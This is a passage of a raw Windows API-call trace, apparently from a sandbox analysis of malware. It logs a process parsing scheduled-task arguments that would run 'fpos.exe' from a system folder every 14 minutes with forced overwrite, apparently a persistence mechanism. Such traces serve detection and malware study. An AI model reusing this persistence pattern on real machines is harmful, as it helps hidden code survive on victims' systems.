_Buffer="|delete|") returned 8 [0154.992] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.992] lstrlenW (lpString="|delete|") returned 8 [0154.992] lstrlenW (lpString="|sc|") returned 4 [0154.992] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0154.992] SetLastError (dwErrCode=0x490) [0154.992] lstrlenW (lpString="query") returned 5 [0154.992] lstrlenW (lpString="query") returned 5 [0154.992] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.992] lstrlenW (lpString="sc") returned 2 [0154.992] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.992] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|query|") returned 7 [0154.992] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.992] lstrlenW (lpString="|query|") returned 7 [0154.992] lstrlenW (lpString="|sc|") returned 4 [0154.992] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0154.992] SetLastError (dwErrCode=0x490) [0154.992] lstrlenW (lpString="change") returned 6 [0154.992] lstrlenW (lpString="change") returned 6 [0154.992] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.992] lstrlenW (lpString="sc") returned 2 [0154.993] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.993] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|change|") returned 8 [0154.993] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.993] lstrlenW (lpString="|change|") returned 8 [0154.993] lstrlenW (lpString="|sc|") returned 4 [0154.993] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0154.993] SetLastError (dwErrCode=0x490) [0154.993] lstrlenW (lpString="run") returned 3 [0154.993] lstrlenW (lpString="run") returned 3 [0154.993] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.993] lstrlenW (lpString="sc") returned 2 [0154.993] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.993] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|run|") returned 5 [0154.993] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.993] lstrlenW (lpString="|run|") returned 5 [0154.993] lstrlenW (lpString="|sc|") returned 4 [0154.993] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0154.993] SetLastError (dwErrCode=0x490) [0154.993] lstrlenW (lpString="end") returned 3 [0154.993] lstrlenW (lpString="end") returned 3 [0154.993] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.993] lstrlenW (lpString="sc") returned 2 [0154.993] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.993] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|end|") returned 5 [0154.993] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.994] lstrlenW (lpString="|end|") returned 5 [0154.994] lstrlenW (lpString="|sc|") returned 4 [0154.994] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0154.994] SetLastError (dwErrCode=0x490) [0154.994] lstrlenW (lpString="showsid") returned 7 [0154.996] lstrlenW (lpString="showsid") returned 7 [0154.996] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.996] lstrlenW (lpString="sc") returned 2 [0154.996] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.996] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|showsid|") returned 9 [0154.996] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|sc|") returned 4 [0154.996] lstrlenW (lpString="|showsid|") returned 9 [0154.997] lstrlenW (lpString="|sc|") returned 4 [0154.997] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0154.997] SetLastError (dwErrCode=0x490) [0154.997] SetLastError (dwErrCode=0x490) [0154.997] SetLastError (dwErrCode=0x0) [0154.997] lstrlenW (lpString="/sc") returned 3 [0154.997] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0154.997] SetLastError (dwErrCode=0x490) [0154.997] SetLastError (dwErrCode=0x0) [0154.997] lstrlenW (lpString="/sc") returned 3 [0154.997] GetProcessHeap () returned 0x430000 [0154.997] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x8) returned 0x44dc70 [0154.997] GetProcessHeap () returned 0x430000 [0154.997] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cc10 [0154.997] SetLastError (dwErrCode=0x0) [0154.997] SetLastError (dwErrCode=0x0) [0154.997] lstrlenW (lpString="MINUTE") returned 6 [0154.997] lstrlenW (lpString="-/") returned 2 [0154.997] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0154.997] SetLastError (dwErrCode=0x490) [0154.997] SetLastError (dwErrCode=0x490) [0154.997] SetLastError (dwErrCode=0x0) [0154.997] lstrlenW (lpString="MINUTE") returned 6 [0154.997] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0154.997] SetLastError (dwErrCode=0x490) [0154.997] SetLastError (dwErrCode=0x0) [0154.997] lstrlenW (lpString="MINUTE") returned 6 [0154.997] GetProcessHeap () returned 0x430000 [0154.997] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d4c0 [0154.997] GetProcessHeap () returned 0x430000 [0154.998] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cc40 [0154.998] SetLastError (dwErrCode=0x0) [0154.998] SetLastError (dwErrCode=0x0) [0154.998] lstrlenW (lpString="/mo") returned 3 [0154.998] lstrlenW (lpString="-/") returned 2 [0154.998] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0154.998] lstrlenW (lpString="?") returned 1 [0154.998] lstrlenW (lpString="?") returned 1 [0154.998] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.998] lstrlenW (lpString="mo") returned 2 [0154.998] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.998] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|?|") returned 3 [0154.998] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0154.998] lstrlenW (lpString="|?|") returned 3 [0154.998] lstrlenW (lpString="|mo|") returned 4 [0154.998] SetLastError (dwErrCode=0x490) [0154.998] lstrlenW (lpString="create") returned 6 [0154.998] lstrlenW (lpString="create") returned 6 [0154.998] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.998] lstrlenW (lpString="mo") returned 2 [0154.998] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.998] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0154.998] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0154.998] lstrlenW (lpString="|create|") returned 8 [0154.998] lstrlenW (lpString="|mo|") returned 4 [0154.998] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0154.998] SetLastError (dwErrCode=0x490) [0154.999] lstrlenW (lpString="delete") returned 6 [0154.999] lstrlenW (lpString="delete") returned 6 [0154.999] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.999] lstrlenW (lpString="mo") returned 2 [0154.999] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.999] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|delete|") returned 8 [0154.999] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0154.999] lstrlenW (lpString="|delete|") returned 8 [0154.999] lstrlenW (lpString="|mo|") returned 4 [0154.999] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0154.999] SetLastError (dwErrCode=0x490) [0154.999] lstrlenW (lpString="query") returned 5 [0154.999] lstrlenW (lpString="query") returned 5 [0154.999] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.999] lstrlenW (lpString="mo") returned 2 [0154.999] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.999] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|query|") returned 7 [0154.999] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0154.999] lstrlenW (lpString="|query|") returned 7 [0154.999] lstrlenW (lpString="|mo|") returned 4 [0154.999] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0154.999] SetLastError (dwErrCode=0x490) [0154.999] lstrlenW (lpString="change") returned 6 [0154.999] lstrlenW (lpString="change") returned 6 [0154.999] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0154.999] lstrlenW (lpString="mo") returned 2 [0155.000] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.000] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|change|") returned 8 [0155.000] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0155.000] lstrlenW (lpString="|change|") returned 8 [0155.000] lstrlenW (lpString="|mo|") returned 4 [0155.000] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0155.000] SetLastError (dwErrCode=0x490) [0155.000] lstrlenW (lpString="run") returned 3 [0155.000] lstrlenW (lpString="run") returned 3 [0155.000] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.000] lstrlenW (lpString="mo") returned 2 [0155.000] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.000] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|run|") returned 5 [0155.000] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0155.000] lstrlenW (lpString="|run|") returned 5 [0155.000] lstrlenW (lpString="|mo|") returned 4 [0155.000] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0155.000] SetLastError (dwErrCode=0x490) [0155.000] lstrlenW (lpString="end") returned 3 [0155.000] lstrlenW (lpString="end") returned 3 [0155.000] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.000] lstrlenW (lpString="mo") returned 2 [0155.000] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.000] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|end|") returned 5 [0155.000] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0155.001] lstrlenW (lpString="|end|") returned 5 [0155.001] lstrlenW (lpString="|mo|") returned 4 [0155.001] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0155.001] SetLastError (dwErrCode=0x490) [0155.001] lstrlenW (lpString="showsid") returned 7 [0155.001] lstrlenW (lpString="showsid") returned 7 [0155.001] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.001] lstrlenW (lpString="mo") returned 2 [0155.001] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.001] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|showsid|") returned 9 [0155.001] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|mo|") returned 4 [0155.001] lstrlenW (lpString="|showsid|") returned 9 [0155.001] lstrlenW (lpString="|mo|") returned 4 [0155.001] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0155.001] SetLastError (dwErrCode=0x490) [0155.001] SetLastError (dwErrCode=0x490) [0155.001] SetLastError (dwErrCode=0x0) [0155.001] lstrlenW (lpString="/mo") returned 3 [0155.001] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0155.001] SetLastError (dwErrCode=0x490) [0155.001] SetLastError (dwErrCode=0x0) [0155.001] lstrlenW (lpString="/mo") returned 3 [0155.001] GetProcessHeap () returned 0x430000 [0155.001] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x8) returned 0x44dc90 [0155.001] GetProcessHeap () returned 0x430000 [0155.001] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cc70 [0155.001] SetLastError (dwErrCode=0x0) [0155.001] SetLastError (dwErrCode=0x0) [0155.001] lstrlenW (lpString="14") returned 2 [0155.002] lstrlenW (lpString="-/") returned 2 [0155.002] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0155.002] SetLastError (dwErrCode=0x490) [0155.002] SetLastError (dwErrCode=0x490) [0155.002] SetLastError (dwErrCode=0x0) [0155.002] lstrlenW (lpString="14") returned 2 [0155.002] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0155.002] SetLastError (dwErrCode=0x490) [0155.002] SetLastError (dwErrCode=0x0) [0155.002] lstrlenW (lpString="14") returned 2 [0155.002] GetProcessHeap () returned 0x430000 [0155.002] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x6) returned 0x44dcb0 [0155.002] GetProcessHeap () returned 0x430000 [0155.002] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cca0 [0155.002] SetLastError (dwErrCode=0x0) [0155.002] SetLastError (dwErrCode=0x0) [0155.002] lstrlenW (lpString="/tr") returned 3 [0155.002] lstrlenW (lpString="-/") returned 2 [0155.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.002] lstrlenW (lpString="?") returned 1 [0155.002] lstrlenW (lpString="?") returned 1 [0155.002] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.002] lstrlenW (lpString="tr") returned 2 [0155.002] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.002] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|?|") returned 3 [0155.002] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.002] lstrlenW (lpString="|?|") returned 3 [0155.002] lstrlenW (lpString="|tr|") returned 4 [0155.002] SetLastError (dwErrCode=0x490) [0155.003] lstrlenW (lpString="create") returned 6 [0155.003] lstrlenW (lpString="create") returned 6 [0155.003] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.003] lstrlenW (lpString="tr") returned 2 [0155.003] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.003] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0155.003] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.003] lstrlenW (lpString="|create|") returned 8 [0155.003] lstrlenW (lpString="|tr|") returned 4 [0155.003] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0155.003] SetLastError (dwErrCode=0x490) [0155.003] lstrlenW (lpString="delete") returned 6 [0155.003] lstrlenW (lpString="delete") returned 6 [0155.003] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.003] lstrlenW (lpString="tr") returned 2 [0155.003] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.003] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|delete|") returned 8 [0155.003] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.003] lstrlenW (lpString="|delete|") returned 8 [0155.003] lstrlenW (lpString="|tr|") returned 4 [0155.003] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0155.003] SetLastError (dwErrCode=0x490) [0155.003] lstrlenW (lpString="query") returned 5 [0155.003] lstrlenW (lpString="query") returned 5 [0155.003] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.003] lstrlenW (lpString="tr") returned 2 [0155.004] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.004] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|query|") returned 7 [0155.004] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.004] lstrlenW (lpString="|query|") returned 7 [0155.004] lstrlenW (lpString="|tr|") returned 4 [0155.004] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0155.004] SetLastError (dwErrCode=0x490) [0155.004] lstrlenW (lpString="change") returned 6 [0155.004] lstrlenW (lpString="change") returned 6 [0155.004] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.004] lstrlenW (lpString="tr") returned 2 [0155.004] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.004] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|change|") returned 8 [0155.004] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.004] lstrlenW (lpString="|change|") returned 8 [0155.004] lstrlenW (lpString="|tr|") returned 4 [0155.004] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0155.004] SetLastError (dwErrCode=0x490) [0155.004] lstrlenW (lpString="run") returned 3 [0155.004] lstrlenW (lpString="run") returned 3 [0155.004] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.004] lstrlenW (lpString="tr") returned 2 [0155.004] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.004] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|run|") returned 5 [0155.004] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.005] lstrlenW (lpString="|run|") returned 5 [0155.005] lstrlenW (lpString="|tr|") returned 4 [0155.005] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0155.005] SetLastError (dwErrCode=0x490) [0155.005] lstrlenW (lpString="end") returned 3 [0155.005] lstrlenW (lpString="end") returned 3 [0155.005] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.005] lstrlenW (lpString="tr") returned 2 [0155.005] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.005] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|end|") returned 5 [0155.005] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.005] lstrlenW (lpString="|end|") returned 5 [0155.005] lstrlenW (lpString="|tr|") returned 4 [0155.005] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0155.005] SetLastError (dwErrCode=0x490) [0155.005] lstrlenW (lpString="showsid") returned 7 [0155.005] lstrlenW (lpString="showsid") returned 7 [0155.005] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.005] lstrlenW (lpString="tr") returned 2 [0155.005] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.005] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|showsid|") returned 9 [0155.005] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|tr|") returned 4 [0155.005] lstrlenW (lpString="|showsid|") returned 9 [0155.005] lstrlenW (lpString="|tr|") returned 4 [0155.005] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0155.005] SetLastError (dwErrCode=0x490) [0155.006] SetLastError (dwErrCode=0x490) [0155.006] SetLastError (dwErrCode=0x0) [0155.006] lstrlenW (lpString="/tr") returned 3 [0155.006] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0155.006] SetLastError (dwErrCode=0x490) [0155.006] SetLastError (dwErrCode=0x0) [0155.006] lstrlenW (lpString="/tr") returned 3 [0155.006] GetProcessHeap () returned 0x430000 [0155.006] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x8) returned 0x44dcd0 [0155.006] GetProcessHeap () returned 0x430000 [0155.006] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44ccd0 [0155.006] SetLastError (dwErrCode=0x0) [0155.006] SetLastError (dwErrCode=0x0) [0155.006] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.006] lstrlenW (lpString="-/") returned 2 [0155.006] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.006] SetLastError (dwErrCode=0x490) [0155.006] SetLastError (dwErrCode=0x490) [0155.006] SetLastError (dwErrCode=0x0) [0155.006] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.006] StrChrIW (lpStart="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'", wMatch=0x3a) returned=":\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'" [0155.006] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.006] GetProcessHeap () returned 0x430000 [0155.006] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44d4e0 [0155.006] _memicmp (_Buf1=0x44d4e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.006] GetProcessHeap () returned 0x430000 [0155.006] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0xe) returned 0x44d500 [0155.007] GetProcessHeap () returned 0x430000 [0155.007] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x18) returned 0x44d520 [0155.007] _memicmp (_Buf1=0x44d520, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.007] GetProcessHeap () returned 0x430000 [0155.007] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x56) returned 0x44dcf0 [0155.007] SetLastError (dwErrCode=0x7a) [0155.007] SetLastError (dwErrCode=0x0) [0155.007] SetLastError (dwErrCode=0x0) [0155.007] lstrlenW (lpString="'C") returned 2 [0155.007] lstrlenW (lpString="-/") returned 2 [0155.007] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.007] SetLastError (dwErrCode=0x490) [0155.007] SetLastError (dwErrCode=0x490) [0155.007] SetLastError (dwErrCode=0x0) [0155.007] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.007] GetProcessHeap () returned 0x430000 [0155.007] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x54) returned 0x44dd50 [0155.007] GetProcessHeap () returned 0x430000 [0155.007] RtlAllocateHeap (HeapHandle=0x430000, Flags=0xc, Size=0x20) returned 0x44cd00 [0155.007] SetLastError (dwErrCode=0x0) [0155.007] SetLastError (dwErrCode=0x0) [0155.007] lstrlenW (lpString="/f") returned 2 [0155.007] lstrlenW (lpString="-/") returned 2 [0155.007] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.007] lstrlenW (lpString="?") returned 1 [0155.007] lstrlenW (lpString="?") returned 1 [0155.007] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.007] lstrlenW (lpString="f") returned 1 [0155.007] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.008] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|?|") returned 3 [0155.008] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.008] lstrlenW (lpString="|?|") returned 3 [0155.008] lstrlenW (lpString="|f|") returned 3 [0155.008] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0155.008] SetLastError (dwErrCode=0x490) [0155.008] lstrlenW (lpString="create") returned 6 [0155.008] lstrlenW (lpString="create") returned 6 [0155.008] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.008] lstrlenW (lpString="f") returned 1 [0155.008] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.008] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|create|") returned 8 [0155.008] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.008] lstrlenW (lpString="|create|") returned 8 [0155.008] lstrlenW (lpString="|f|") returned 3 [0155.008] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0155.008] SetLastError (dwErrCode=0x490) [0155.008] lstrlenW (lpString="delete") returned 6 [0155.008] lstrlenW (lpString="delete") returned 6 [0155.008] _memicmp (_Buf1=0x44c180, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.008] lstrlenW (lpString="f") returned 1 [0155.008] _memicmp (_Buf1=0x44c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.008] _vsnwprintf (in: _Buffer=0x44c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|delete|") returned 8 [0155.008] _vsnwprintf (in: _Buffer=0x44c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f0d8 | out: _Buffer="|f|") returned 3 [0155.009] lstrlenW (lpString="|delete|") returned 8 [0155.009] lstrlenW (lpString="|f|") returned 3 [0155.009] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0155.009] SetLastError (dwErrCode=0x490) [0155.009] lstrlenW (lpString="query") returned 5 [0155.009] lstrlenW (lpString="query") returned 5 [0155.009] _memicmp 